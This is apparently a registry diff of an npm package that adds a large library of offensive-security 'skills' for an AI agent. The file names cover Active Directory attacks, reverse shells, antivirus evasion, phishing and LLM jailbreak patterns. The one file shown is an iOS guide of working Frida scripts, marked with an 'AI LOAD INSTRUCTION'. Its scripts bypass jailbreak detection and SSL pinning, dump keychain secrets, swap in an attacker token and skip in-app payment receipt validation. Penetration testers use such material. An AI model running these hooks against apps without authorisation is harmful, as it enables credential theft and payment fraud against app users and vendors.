ineedcodes 1.6.1 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/skills/401-403-bypass-techniques/SKILL.md +348 -0
- package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
- package/skills/active-directory-acl-abuse/SKILL.md +295 -0
- package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
- package/skills/active-directory-certificate-services/SKILL.md +303 -0
- package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
- package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
- package/skills/ai-ml-security/SKILL.md +425 -0
- package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
- package/skills/android-pentesting-tricks/SKILL.md +369 -0
- package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
- package/skills/anti-debugging-techniques/SKILL.md +407 -0
- package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
- package/skills/api-authorization-and-bola/SKILL.md +48 -0
- package/skills/api-recon-and-docs/SKILL.md +61 -0
- package/skills/api-sec/SKILL.md +49 -0
- package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
- package/skills/auth-sec/SKILL.md +41 -0
- package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
- package/skills/bba-ad-attacker/SKILL.md +420 -0
- package/skills/bba-api-security/SKILL.md +95 -0
- package/skills/bba-attack-planner/SKILL.md +186 -0
- package/skills/bba-binary-exploit/SKILL.md +65 -0
- package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
- package/skills/bba-bug-bounty/SKILL.md +245 -0
- package/skills/bba-cicd-redteam/SKILL.md +515 -0
- package/skills/bba-cloud-security/SKILL.md +97 -0
- package/skills/bba-container-escape/SKILL.md +161 -0
- package/skills/bba-credential-tester/SKILL.md +346 -0
- package/skills/bba-crypto-analyst/SKILL.md +54 -0
- package/skills/bba-ctf-solver/SKILL.md +166 -0
- package/skills/bba-detection-engineer/SKILL.md +93 -0
- package/skills/bba-engagement-planner/SKILL.md +68 -0
- package/skills/bba-exploit-chainer/SKILL.md +280 -0
- package/skills/bba-exploit-guide/SKILL.md +96 -0
- package/skills/bba-forensics-analyst/SKILL.md +512 -0
- package/skills/bba-graphql-hunter/SKILL.md +145 -0
- package/skills/bba-hardware-hacker/SKILL.md +57 -0
- package/skills/bba-jwt-cracker/SKILL.md +133 -0
- package/skills/bba-llm-redteam/SKILL.md +149 -0
- package/skills/bba-malware-analyst/SKILL.md +305 -0
- package/skills/bba-mobile-pentester/SKILL.md +350 -0
- package/skills/bba-osint-collector/SKILL.md +645 -0
- package/skills/bba-payload-crafter/SKILL.md +347 -0
- package/skills/bba-phishing-operator/SKILL.md +516 -0
- package/skills/bba-poc-validator/SKILL.md +249 -0
- package/skills/bba-privesc-advisor/SKILL.md +98 -0
- package/skills/bba-purple-team/SKILL.md +56 -0
- package/skills/bba-recon-advisor/SKILL.md +215 -0
- package/skills/bba-red-team-operator/SKILL.md +61 -0
- package/skills/bba-report-generator/SKILL.md +145 -0
- package/skills/bba-reverse-engineer/SKILL.md +298 -0
- package/skills/bba-social-engineer/SKILL.md +341 -0
- package/skills/bba-ssrf-hunter/SKILL.md +120 -0
- package/skills/bba-stig-analyst/SKILL.md +108 -0
- package/skills/bba-subdomain-takeover/SKILL.md +141 -0
- package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
- package/skills/bba-threat-modeler/SKILL.md +574 -0
- package/skills/bba-vuln-scanner/SKILL.md +305 -0
- package/skills/bba-web-hunter/SKILL.md +285 -0
- package/skills/bba-wireless-pentester/SKILL.md +539 -0
- package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
- package/skills/binary-protection-bypass/SKILL.md +295 -0
- package/skills/browser-exploitation-v8/SKILL.md +334 -0
- package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
- package/skills/business-logic-vuln/SKILL.md +33 -0
- package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
- package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
- package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
- package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
- package/skills/classical-cipher-analysis/SKILL.md +663 -0
- package/skills/clickjacking/SKILL.md +163 -0
- package/skills/cmdi-command-injection/SKILL.md +687 -0
- package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
- package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
- package/skills/container-escape-techniques/SKILL.md +339 -0
- package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
- package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
- package/skills/crlf-injection/SKILL.md +179 -0
- package/skills/csp-bypass-advanced/SKILL.md +259 -0
- package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
- package/skills/csv-formula-injection/SKILL.md +144 -0
- package/skills/dangling-markup-injection/SKILL.md +321 -0
- package/skills/defi-attack-patterns/SKILL.md +355 -0
- package/skills/dependency-confusion/SKILL.md +178 -0
- package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
- package/skills/deserialization-insecure/SKILL.md +725 -0
- package/skills/dns-rebinding-attacks/SKILL.md +337 -0
- package/skills/email-header-injection/SKILL.md +349 -0
- package/skills/expression-language-injection/SKILL.md +243 -0
- package/skills/file-access-vuln/SKILL.md +33 -0
- package/skills/format-string-exploitation/SKILL.md +312 -0
- package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
- package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
- package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
- package/skills/hack/SKILL.md +162 -0
- package/skills/hash-attack-techniques/SKILL.md +491 -0
- package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
- package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
- package/skills/heap-exploitation/SKILL.md +217 -0
- package/skills/http-host-header-attacks/SKILL.md +323 -0
- package/skills/http-parameter-pollution/SKILL.md +208 -0
- package/skills/http2-specific-attacks/SKILL.md +350 -0
- package/skills/idor-broken-object-authorization/SKILL.md +336 -0
- package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
- package/skills/injection-checking/SKILL.md +50 -0
- package/skills/insecure-source-code-management/SKILL.md +161 -0
- package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
- package/skills/ios-pentesting-tricks/SKILL.md +418 -0
- package/skills/jndi-injection/SKILL.md +265 -0
- package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
- package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
- package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
- package/skills/kernel-exploitation/SKILL.md +307 -0
- package/skills/kubernetes-pentesting/SKILL.md +348 -0
- package/skills/lattice-crypto-attacks/SKILL.md +497 -0
- package/skills/linux-lateral-movement/SKILL.md +348 -0
- package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
- package/skills/linux-privilege-escalation/SKILL.md +346 -0
- package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
- package/skills/linux-security-bypass/SKILL.md +345 -0
- package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
- package/skills/llm-prompt-injection/SKILL.md +357 -0
- package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
- package/skills/macos-process-injection/SKILL.md +384 -0
- package/skills/macos-security-bypass/SKILL.md +337 -0
- package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
- package/skills/memory-forensics-volatility/SKILL.md +323 -0
- package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
- package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
- package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
- package/skills/network-protocol-attacks/SKILL.md +330 -0
- package/skills/nosql-injection/SKILL.md +341 -0
- package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
- package/skills/ntlm-relay-coercion/SKILL.md +267 -0
- package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
- package/skills/open-redirect/SKILL.md +380 -0
- package/skills/path-traversal-lfi/SKILL.md +802 -0
- package/skills/prototype-pollution/SKILL.md +190 -0
- package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
- package/skills/prototype-pollution-advanced/SKILL.md +338 -0
- package/skills/race-condition/SKILL.md +526 -0
- package/skills/recon-and-methodology/SKILL.md +389 -0
- package/skills/recon-for-sec/SKILL.md +29 -0
- package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
- package/skills/request-smuggling/SKILL.md +314 -0
- package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
- package/skills/reverse-shell-techniques/SKILL.md +290 -0
- package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
- package/skills/rsa-attack-techniques/SKILL.md +437 -0
- package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
- package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
- package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
- package/skills/sandbox-escape-techniques/SKILL.md +250 -0
- package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
- package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
- package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
- package/skills/sqli-sql-injection/SKILL.md +489 -0
- package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
- package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
- package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
- package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
- package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
- package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
- package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
- package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
- package/skills/stack-overflow-and-rop/SKILL.md +304 -0
- package/skills/steganography-techniques/SKILL.md +348 -0
- package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
- package/skills/subdomain-takeover/SKILL.md +247 -0
- package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
- package/skills/symbolic-execution-tools/SKILL.md +419 -0
- package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
- package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
- package/skills/traffic-analysis-pcap/SKILL.md +341 -0
- package/skills/tunneling-and-pivoting/SKILL.md +343 -0
- package/skills/type-juggling/SKILL.md +291 -0
- package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
- package/skills/unauthorized-access-common-services/SKILL.md +388 -0
- package/skills/upload-insecure-files/SCENARIOS.md +158 -0
- package/skills/upload-insecure-files/SKILL.md +543 -0
- package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
- package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
- package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
- package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
- package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
- package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
- package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
- package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
- package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
- package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
- package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
- package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
- package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
- package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
- package/skills/waf-bypass-techniques/SKILL.md +290 -0
- package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
- package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
- package/skills/web-cache-deception/SKILL.md +222 -0
- package/skills/websocket-security/SKILL.md +454 -0
- package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
- package/skills/windows-av-evasion/SKILL.md +342 -0
- package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
- package/skills/windows-lateral-movement/SKILL.md +335 -0
- package/skills/windows-privilege-escalation/SKILL.md +328 -0
- package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
- package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
- package/skills/xslt-injection/SKILL.md +281 -0
- package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
- package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
- package/skills/xss-cross-site-scripting/SKILL.md +379 -0
- package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
- package/skills/xxe-xml-external-entity/SKILL.md +554 -0
- package/src/agent.js +1 -1
- package/src/session.js +6 -3
- package/src/skills.js +30 -6
- package/src/ui.js +1 -1
|
@@ -0,0 +1,411 @@
|
|
|
1
|
+
# iOS Runtime Tricks — Frida Recipes, Objection Reference & Hooking Patterns
|
|
2
|
+
|
|
3
|
+
> **AI LOAD INSTRUCTION**: Load this when you need Frida recipes for iOS-specific hooks, Objection command reference, or runtime hooking pattern templates. Assumes the main [SKILL.md](./SKILL.md) is already loaded for general iOS testing methodology.
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## 1. FRIDA RECIPES FOR iOS
|
|
8
|
+
|
|
9
|
+
### 1.1 ObjC Class Enumeration
|
|
10
|
+
|
|
11
|
+
```javascript
|
|
12
|
+
// List all classes containing a keyword
|
|
13
|
+
Java.perform || true; // NOP for iOS
|
|
14
|
+
ObjC.enumerateLoadedClasses({
|
|
15
|
+
onMatch: function(name) {
|
|
16
|
+
if (name.toLowerCase().indexOf('auth') !== -1 ||
|
|
17
|
+
name.toLowerCase().indexOf('login') !== -1 ||
|
|
18
|
+
name.toLowerCase().indexOf('token') !== -1) {
|
|
19
|
+
console.log('[Class] ' + name);
|
|
20
|
+
}
|
|
21
|
+
},
|
|
22
|
+
onComplete: function() { console.log('[+] Class enumeration done'); }
|
|
23
|
+
});
|
|
24
|
+
```
|
|
25
|
+
|
|
26
|
+
### 1.2 Method Enumeration for a Class
|
|
27
|
+
|
|
28
|
+
```javascript
|
|
29
|
+
// List all methods of a specific class
|
|
30
|
+
var className = 'AppDelegate';
|
|
31
|
+
var methods = ObjC.classes[className].$ownMethods;
|
|
32
|
+
console.log('[' + className + '] Methods (' + methods.length + '):');
|
|
33
|
+
methods.forEach(function(method) {
|
|
34
|
+
console.log(' ' + method);
|
|
35
|
+
});
|
|
36
|
+
```
|
|
37
|
+
|
|
38
|
+
### 1.3 Jailbreak Detection Bypass
|
|
39
|
+
|
|
40
|
+
```javascript
|
|
41
|
+
// Comprehensive jailbreak detection bypass for iOS
|
|
42
|
+
var paths = [
|
|
43
|
+
'/Applications/Cydia.app', '/usr/sbin/sshd', '/bin/bash',
|
|
44
|
+
'/usr/bin/ssh', '/etc/apt', '/private/var/lib/apt/',
|
|
45
|
+
'/usr/local/bin/cycript', '/usr/lib/libcycript.dylib',
|
|
46
|
+
'/var/lib/cydia', '/var/cache/apt', '/var/lib/apt',
|
|
47
|
+
'/Library/MobileSubstrate/MobileSubstrate.dylib',
|
|
48
|
+
'/private/var/stash', '/.cydia_no_stash',
|
|
49
|
+
'/Applications/Sileo.app', '/var/jb'
|
|
50
|
+
];
|
|
51
|
+
|
|
52
|
+
// Hook NSFileManager
|
|
53
|
+
var fm = ObjC.classes.NSFileManager;
|
|
54
|
+
Interceptor.attach(fm['- fileExistsAtPath:'].implementation, {
|
|
55
|
+
onEnter: function(args) {
|
|
56
|
+
this.path = ObjC.Object(args[2]).toString();
|
|
57
|
+
},
|
|
58
|
+
onLeave: function(retval) {
|
|
59
|
+
for (var i = 0; i < paths.length; i++) {
|
|
60
|
+
if (this.path === paths[i]) {
|
|
61
|
+
retval.replace(ptr(0));
|
|
62
|
+
console.log('[JB Bypass] fileExistsAtPath blocked: ' + this.path);
|
|
63
|
+
return;
|
|
64
|
+
}
|
|
65
|
+
}
|
|
66
|
+
}
|
|
67
|
+
});
|
|
68
|
+
|
|
69
|
+
// Hook canOpenURL (Cydia URL scheme check)
|
|
70
|
+
var app = ObjC.classes.UIApplication;
|
|
71
|
+
Interceptor.attach(app['- canOpenURL:'].implementation, {
|
|
72
|
+
onEnter: function(args) {
|
|
73
|
+
this.url = ObjC.Object(args[2]).toString();
|
|
74
|
+
},
|
|
75
|
+
onLeave: function(retval) {
|
|
76
|
+
if (this.url.indexOf('cydia://') !== -1 ||
|
|
77
|
+
this.url.indexOf('sileo://') !== -1) {
|
|
78
|
+
retval.replace(ptr(0));
|
|
79
|
+
console.log('[JB Bypass] canOpenURL blocked: ' + this.url);
|
|
80
|
+
}
|
|
81
|
+
}
|
|
82
|
+
});
|
|
83
|
+
|
|
84
|
+
// Hook fopen for /etc/fstab, /bin/sh checks
|
|
85
|
+
var fopen = Module.findExportByName(null, 'fopen');
|
|
86
|
+
Interceptor.attach(fopen, {
|
|
87
|
+
onEnter: function(args) {
|
|
88
|
+
this.path = args[0].readUtf8String();
|
|
89
|
+
},
|
|
90
|
+
onLeave: function(retval) {
|
|
91
|
+
if (this.path === '/bin/sh' || this.path === '/etc/fstab' ||
|
|
92
|
+
this.path === '/bin/bash') {
|
|
93
|
+
retval.replace(ptr(0));
|
|
94
|
+
}
|
|
95
|
+
}
|
|
96
|
+
});
|
|
97
|
+
|
|
98
|
+
// Hook fork() — should return -1 on non-jailbroken
|
|
99
|
+
var fork = Module.findExportByName(null, 'fork');
|
|
100
|
+
Interceptor.attach(fork, {
|
|
101
|
+
onLeave: function(retval) {
|
|
102
|
+
retval.replace(ptr(-1));
|
|
103
|
+
console.log('[JB Bypass] fork() → -1');
|
|
104
|
+
}
|
|
105
|
+
});
|
|
106
|
+
|
|
107
|
+
console.log('[+] Jailbreak detection bypass installed');
|
|
108
|
+
```
|
|
109
|
+
|
|
110
|
+
### 1.4 SSL Pinning Bypass (iOS-Specific)
|
|
111
|
+
|
|
112
|
+
```javascript
|
|
113
|
+
// Hook SecTrustEvaluateWithError (iOS 12+)
|
|
114
|
+
var SecTrustEvaluateWithError = Module.findExportByName('Security', 'SecTrustEvaluateWithError');
|
|
115
|
+
if (SecTrustEvaluateWithError) {
|
|
116
|
+
Interceptor.attach(SecTrustEvaluateWithError, {
|
|
117
|
+
onLeave: function(retval) {
|
|
118
|
+
retval.replace(ptr(1)); // Return true (trusted)
|
|
119
|
+
}
|
|
120
|
+
});
|
|
121
|
+
}
|
|
122
|
+
|
|
123
|
+
// Hook SecTrustEvaluate (legacy)
|
|
124
|
+
var SecTrustEvaluate = Module.findExportByName('Security', 'SecTrustEvaluate');
|
|
125
|
+
if (SecTrustEvaluate) {
|
|
126
|
+
Interceptor.attach(SecTrustEvaluate, {
|
|
127
|
+
onLeave: function(retval) {
|
|
128
|
+
retval.replace(ptr(0)); // errSecSuccess
|
|
129
|
+
}
|
|
130
|
+
});
|
|
131
|
+
}
|
|
132
|
+
|
|
133
|
+
// Hook NSURLSession delegate for certificate validation
|
|
134
|
+
var NSURLSession = ObjC.classes.NSURLSession;
|
|
135
|
+
if (NSURLSession) {
|
|
136
|
+
try {
|
|
137
|
+
var handler = ObjC.classes.NSURLSessionConfiguration;
|
|
138
|
+
// Hook didReceiveChallenge completionHandler
|
|
139
|
+
Interceptor.attach(
|
|
140
|
+
ObjC.classes.__NSCFURLSessionConnection['- _]redirectRequest:withResponse:completionHandler:'].implementation, {
|
|
141
|
+
onEnter: function(args) {
|
|
142
|
+
console.log('[SSL] Redirect intercepted');
|
|
143
|
+
}
|
|
144
|
+
});
|
|
145
|
+
} catch(e) {}
|
|
146
|
+
}
|
|
147
|
+
|
|
148
|
+
console.log('[+] iOS SSL pinning bypass installed');
|
|
149
|
+
```
|
|
150
|
+
|
|
151
|
+
### 1.5 Keychain Dumper via Frida
|
|
152
|
+
|
|
153
|
+
```javascript
|
|
154
|
+
// Dump all keychain items accessible to the app
|
|
155
|
+
function dumpKeychain() {
|
|
156
|
+
var NSMutableDictionary = ObjC.classes.NSMutableDictionary;
|
|
157
|
+
var SecItemCopyMatching = new NativeFunction(
|
|
158
|
+
Module.findExportByName('Security', 'SecItemCopyMatching'),
|
|
159
|
+
'int', ['pointer', 'pointer']
|
|
160
|
+
);
|
|
161
|
+
|
|
162
|
+
var classes = [
|
|
163
|
+
'genp', // kSecClassGenericPassword
|
|
164
|
+
'inet', // kSecClassInternetPassword
|
|
165
|
+
'cert', // kSecClassCertificate
|
|
166
|
+
'keys' // kSecClassKey
|
|
167
|
+
];
|
|
168
|
+
|
|
169
|
+
classes.forEach(function(secClass) {
|
|
170
|
+
var query = NSMutableDictionary.alloc().init();
|
|
171
|
+
query.setObject_forKey_(secClass, 'class');
|
|
172
|
+
query.setObject_forKey_(ObjC.classes.__NSCFBoolean.numberWithBool_(true), 'r_Data');
|
|
173
|
+
query.setObject_forKey_('m_LimitAll', 'm_Limit');
|
|
174
|
+
|
|
175
|
+
var result = Memory.alloc(Process.pointerSize);
|
|
176
|
+
var status = SecItemCopyMatching(query.handle, result);
|
|
177
|
+
|
|
178
|
+
if (status === 0) {
|
|
179
|
+
var items = new ObjC.Object(result.readPointer());
|
|
180
|
+
console.log('\n[Keychain] Class: ' + secClass + ' (' + items.count() + ' items)');
|
|
181
|
+
|
|
182
|
+
for (var i = 0; i < items.count(); i++) {
|
|
183
|
+
var item = items.objectAtIndex_(i);
|
|
184
|
+
console.log(' Account: ' + item.objectForKey_('acct'));
|
|
185
|
+
console.log(' Service: ' + item.objectForKey_('svce'));
|
|
186
|
+
var data = item.objectForKey_('v_Data');
|
|
187
|
+
if (data) {
|
|
188
|
+
try {
|
|
189
|
+
var str = ObjC.classes.NSString.alloc().initWithData_encoding_(data, 4);
|
|
190
|
+
console.log(' Data: ' + str);
|
|
191
|
+
} catch(e) {
|
|
192
|
+
console.log(' Data: <binary ' + data.length() + ' bytes>');
|
|
193
|
+
}
|
|
194
|
+
}
|
|
195
|
+
console.log(' ---');
|
|
196
|
+
}
|
|
197
|
+
}
|
|
198
|
+
});
|
|
199
|
+
}
|
|
200
|
+
|
|
201
|
+
dumpKeychain();
|
|
202
|
+
```
|
|
203
|
+
|
|
204
|
+
---
|
|
205
|
+
|
|
206
|
+
## 2. OBJECTION COMMAND REFERENCE FOR iOS
|
|
207
|
+
|
|
208
|
+
### 2.1 Information Gathering
|
|
209
|
+
|
|
210
|
+
| Command | Purpose |
|
|
211
|
+
|---|---|
|
|
212
|
+
| `ios info binary` | App binary info (PIE, canaries, ARC) |
|
|
213
|
+
| `ios plist cat Info.plist` | Read Info.plist |
|
|
214
|
+
| `ios bundles list_frameworks` | List loaded frameworks |
|
|
215
|
+
| `ios bundles list_bundles` | List app bundles |
|
|
216
|
+
| `env` | Show app sandbox paths |
|
|
217
|
+
|
|
218
|
+
### 2.2 Security Bypass
|
|
219
|
+
|
|
220
|
+
| Command | Purpose |
|
|
221
|
+
|---|---|
|
|
222
|
+
| `ios sslpinning disable` | Bypass SSL pinning |
|
|
223
|
+
| `ios jailbreak disable` | Bypass jailbreak detection |
|
|
224
|
+
| `ios jailbreak simulate` | Pretend device is jailbroken |
|
|
225
|
+
|
|
226
|
+
### 2.3 Data Extraction
|
|
227
|
+
|
|
228
|
+
| Command | Purpose |
|
|
229
|
+
|---|---|
|
|
230
|
+
| `ios keychain dump` | Dump keychain items |
|
|
231
|
+
| `ios keychain dump --json` | Keychain as JSON |
|
|
232
|
+
| `ios cookies get` | Extract cookies |
|
|
233
|
+
| `ios nsuserdefaults get` | Read NSUserDefaults |
|
|
234
|
+
| `ios pasteboard monitor` | Watch clipboard |
|
|
235
|
+
|
|
236
|
+
### 2.4 Runtime Manipulation
|
|
237
|
+
|
|
238
|
+
| Command | Purpose |
|
|
239
|
+
|---|---|
|
|
240
|
+
| `ios hooking list classes` | List ObjC classes |
|
|
241
|
+
| `ios hooking search classes <pattern>` | Search classes |
|
|
242
|
+
| `ios hooking list class_methods <class>` | List methods |
|
|
243
|
+
| `ios hooking watch class <class>` | Watch all method calls |
|
|
244
|
+
| `ios hooking watch method "<method>"` | Watch specific method |
|
|
245
|
+
| `ios hooking set return_value "<method>" true` | Force return value |
|
|
246
|
+
|
|
247
|
+
### 2.5 Filesystem
|
|
248
|
+
|
|
249
|
+
| Command | Purpose |
|
|
250
|
+
|---|---|
|
|
251
|
+
| `ls` / `cd` / `pwd` | Navigate sandbox |
|
|
252
|
+
| `file download <path>` | Download file to host |
|
|
253
|
+
| `file upload <local> <remote>` | Upload file to device |
|
|
254
|
+
| `sqlite connect <path>` | Open SQLite database |
|
|
255
|
+
|
|
256
|
+
---
|
|
257
|
+
|
|
258
|
+
## 3. RUNTIME HOOKING PATTERNS
|
|
259
|
+
|
|
260
|
+
### 3.1 Return Value Modification
|
|
261
|
+
|
|
262
|
+
```javascript
|
|
263
|
+
// Force any boolean method to return true/false
|
|
264
|
+
function hookBoolMethod(className, methodName, returnValue) {
|
|
265
|
+
var hook = ObjC.classes[className][methodName];
|
|
266
|
+
Interceptor.attach(hook.implementation, {
|
|
267
|
+
onLeave: function(retval) {
|
|
268
|
+
var newVal = returnValue ? ptr(1) : ptr(0);
|
|
269
|
+
retval.replace(newVal);
|
|
270
|
+
console.log('[Hook] ' + className + ' ' + methodName + ' → ' + returnValue);
|
|
271
|
+
}
|
|
272
|
+
});
|
|
273
|
+
}
|
|
274
|
+
|
|
275
|
+
// Examples
|
|
276
|
+
hookBoolMethod('SecurityManager', '- isJailbroken', false);
|
|
277
|
+
hookBoolMethod('AuthController', '- isSessionValid', true);
|
|
278
|
+
hookBoolMethod('AppDelegate', '- shouldEnforceSSLPinning', false);
|
|
279
|
+
```
|
|
280
|
+
|
|
281
|
+
### 3.2 Argument Logging and Modification
|
|
282
|
+
|
|
283
|
+
```javascript
|
|
284
|
+
// Log and optionally modify method arguments
|
|
285
|
+
var target = ObjC.classes.APIClient['- sendRequest:withToken:'];
|
|
286
|
+
Interceptor.attach(target.implementation, {
|
|
287
|
+
onEnter: function(args) {
|
|
288
|
+
// args[0] = self, args[1] = _cmd, args[2+] = method args
|
|
289
|
+
var request = ObjC.Object(args[2]);
|
|
290
|
+
var token = ObjC.Object(args[3]);
|
|
291
|
+
console.log('[API] Request: ' + request.toString());
|
|
292
|
+
console.log('[API] Token: ' + token.toString());
|
|
293
|
+
|
|
294
|
+
// Modify argument: replace token
|
|
295
|
+
var newToken = ObjC.classes.NSString.stringWithString_('attacker_token');
|
|
296
|
+
args[3] = newToken.handle;
|
|
297
|
+
},
|
|
298
|
+
onLeave: function(retval) {
|
|
299
|
+
console.log('[API] Response: ' + ObjC.Object(retval).toString());
|
|
300
|
+
}
|
|
301
|
+
});
|
|
302
|
+
```
|
|
303
|
+
|
|
304
|
+
### 3.3 Method Swizzling via Frida
|
|
305
|
+
|
|
306
|
+
```javascript
|
|
307
|
+
// Replace method implementation entirely
|
|
308
|
+
var originalImpl = ObjC.classes.PaymentManager['- validateReceipt:'].implementation;
|
|
309
|
+
|
|
310
|
+
ObjC.classes.PaymentManager['- validateReceipt:'].implementation = ObjC.implement(
|
|
311
|
+
ObjC.classes.PaymentManager['- validateReceipt:'], function(handle, selector, receipt) {
|
|
312
|
+
console.log('[Swizzle] validateReceipt called');
|
|
313
|
+
// Skip validation, return success
|
|
314
|
+
return ptr(1);
|
|
315
|
+
}
|
|
316
|
+
);
|
|
317
|
+
```
|
|
318
|
+
|
|
319
|
+
### 3.4 Notification Observer
|
|
320
|
+
|
|
321
|
+
```javascript
|
|
322
|
+
// Monitor NSNotificationCenter for interesting events
|
|
323
|
+
var nc = ObjC.classes.NSNotificationCenter;
|
|
324
|
+
Interceptor.attach(nc['- postNotificationName:object:userInfo:'].implementation, {
|
|
325
|
+
onEnter: function(args) {
|
|
326
|
+
var name = ObjC.Object(args[2]).toString();
|
|
327
|
+
var userInfo = args[4].isNull() ? 'nil' : ObjC.Object(args[4]).toString();
|
|
328
|
+
if (name.indexOf('auth') !== -1 || name.indexOf('login') !== -1 ||
|
|
329
|
+
name.indexOf('token') !== -1 || name.indexOf('session') !== -1) {
|
|
330
|
+
console.log('[Notification] ' + name);
|
|
331
|
+
console.log('[Notification] userInfo: ' + userInfo);
|
|
332
|
+
}
|
|
333
|
+
}
|
|
334
|
+
});
|
|
335
|
+
```
|
|
336
|
+
|
|
337
|
+
---
|
|
338
|
+
|
|
339
|
+
## 4. COMMON iOS TESTING WORKFLOWS
|
|
340
|
+
|
|
341
|
+
### 4.1 Quick Security Audit Flow
|
|
342
|
+
|
|
343
|
+
```bash
|
|
344
|
+
# Step 1: Get decrypted binary
|
|
345
|
+
frida-ios-dump com.target.app # or bagbak
|
|
346
|
+
|
|
347
|
+
# Step 2: Static analysis
|
|
348
|
+
class-dump decrypted_binary > headers.h
|
|
349
|
+
grep -r "password\|secret\|token\|apikey\|isJailbroken" headers.h
|
|
350
|
+
